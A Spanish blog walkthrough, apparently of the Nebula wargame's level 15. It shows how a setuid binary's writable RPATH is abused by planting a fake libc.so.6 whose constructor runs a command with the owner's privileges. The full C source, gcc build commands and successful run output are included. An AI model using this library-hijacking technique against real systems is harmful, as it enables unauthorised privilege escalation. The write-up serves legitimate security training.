flag15 nos trae otro binario con el bit suid activado:
level15@nebula:/home/flag15$ ls -al
total 12
drwxr-x--- 2 flag15 level15 80 2011-11-20 21:22 .
drwxr-xr-x 1 root root 60 2012-08-27 07:18 ..
-rw-r--r-- 1 flag15 flag15 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag15 flag15 3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag15 level15 7161 2011-11-20 21:22 flag15
-rw-r--r-- 1 flag15 flag15 675 2011-05-18 02:54 .profile
level15@nebula:/home/flag15$ ./flag15
strace it!
Como somos obedientes:
level15@nebula:/home/flag15$ strace ./flag15
execve("./flag15", ["./flag15"], [/* 19 vars */]) = 0
brk(0) = 0x8318000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb786a000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=40, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0
mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7861000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0
mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x44d000
mmap2(0x5c3000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0x5c3000
mmap2(0x5c6000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x5c6000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7860000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb78608d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x5c3000, 8192, PROT_READ) = 0
mprotect(0x8049000, 4096, PROT_READ) = 0
mprotect(0x2cc000, 4096, PROT_READ) = 0
munmap(0xb7861000, 33815) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7869000
write(1, "strace it!\n", 11strace it!
) = 11
exit_group(11)
./flag15
intenta cargar la librería dinámica libc.so.6
desde varias rutas poco habituales. En caso de no encontrarla utiliza la original en /lib/i386-linux-gnu/libc.so.6
. Veamos qué nos cuenta radare2 :
dpc@kernelinside:~$ r2 ./flag15
[0x08048348]> iI
arch x86
binsz 7161
bintype elf
bits 32
canary false
class ELF32
crypto false
endian little
havecode true
intrp /lib/ld-linux.so.2
lang c
linenum true
lsyms true
machine Intel 80386
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath /var/tmp/flag15
static false
stripped false
subsys linux
va true
rpath
se ha definido como /var/tmp/flag15
. Si googleamos un poco descubrimos que:
Rpath, or the run path, is a way of embedding the location of shared
libraries in the executable itself, instead of relying on default locations
or environment variables. We do this during the linking stage. There are a
few downsides to rpath, however. First, it requires that shared libraries
be installed in a fixed location so that all users of your program will
have access to those libraries in those locations.
Al momento de compilar
./flag15
, se estableció rpath
de forma que las librerías dinámicas se localizasen en primer lugar en /var/tmp/flag15
.
Nuestro objetivo será crear una versión personalizada de la librería libc.so.6
en dicho directorio, lo que nos permitirá hookear cualquier función usada por el programa, entre ellas:
62 0x00000330 0x08048330 GLOBAL FUNC 23 main
064 0x000002c0 0x080482c0 GLOBAL FUNC 0 _init
001 0x00000300 0x08048300 GLOBAL FUNC 16 imp.puts
002 0x00000310 0x08048310 WEAK NOTYPE 16 imp.__gmon_start__
003 0x00000320 0x08048320 GLOBAL FUNC 16 imp.__libc_start_main
En mi caso, prefiero introducir un constructor, ya que este se ejecutará automáticamente cuando la librería sea mapeada en memoria por
./flag15
:
#include <stdlib.h>
void __attribute__ ((constructor)) init(void)
{
system("/bin/getflag");
}
Ahora compilamos la librería como dinámica (opción
-fPIC
para código independiente de la posición):
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -o libc.so.6 libc.c
Y probamos a ejecutar de nuevo la aplicación:
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference
Nuestra librería es localizada por
./flag15
, pero un error nos advierte de que el símbolo __cxa_finalize
no se encuentra definido. Googleamos y encontramos su prototipo:
void __cxa_finalize(void * d);
Modificamos nuestra librería:
#include <stdlib.h>
void __cxa_finalize(void *d)
{
return;
}
void __attribute__ ((constructor)) init(void)
{
system("/bin/getflag");
}
Compilamos igual que en el paso anterior y probamos de nuevo:
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol system, version GLIBC_2.0 not defined in file libc.so.6 with link time reference
Efectivamente no podemos llamar a
system()
, que se encuentra en la libc original, toda vez que nosotros mismos pretendemos suplantar a libc
. Aun así, nada nos impide compilar la librería original de forma estática contra nuestra versión particular:
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,-Bstatic -o libc.so.6 libc.c
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
You have successfully executed getflag on a target account
flag15: relocation error: /home/flag15/flag15: symbol __libc_start_main, version GLIBC_2.0 not defined in file libc.so.6 with link time reference
Otro símbolo sin definir, esta vez
__libc_start_main
. Tras una rápida búsqueda localizamos el prototipo:
int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end));
He aquí la versión definitiva de
libc.c
:
#include <stdlib.h>
void __cxa_finalize(void *d)
{
return;
}
int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
return 0;
}
void __attribute__ ((constructor)) init(void)
{
system("/bin/getflag");
}
Compilamos y:
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
You have successfully executed getflag on a target account
Inconsistency detected by ld.so: dl-lookup.c: 169: check_match: Assertion `version->filename == ((void *)0) || ! _dl_name_match_p (version->filename, map)' failed!
Pwned!
Nota: Podemos deshacernos de esos molestos errores si definimos un script de versiones y se lo pasamos a
gcc
mediante la opción --version-script
(LD Version Scripts)
level15@nebula:/var/tmp/flag15$ echo "GLIBC_2.0{};" > ver
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,-Bstatic,--version-script ver -o libc.so.6 libc.c
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
You have successfully executed getflag on a target account
Segmentation fault
Para aquellos interesados en hacer hook a funciones, les remito a
man dlopen
.
No hay comentarios:
Publicar un comentario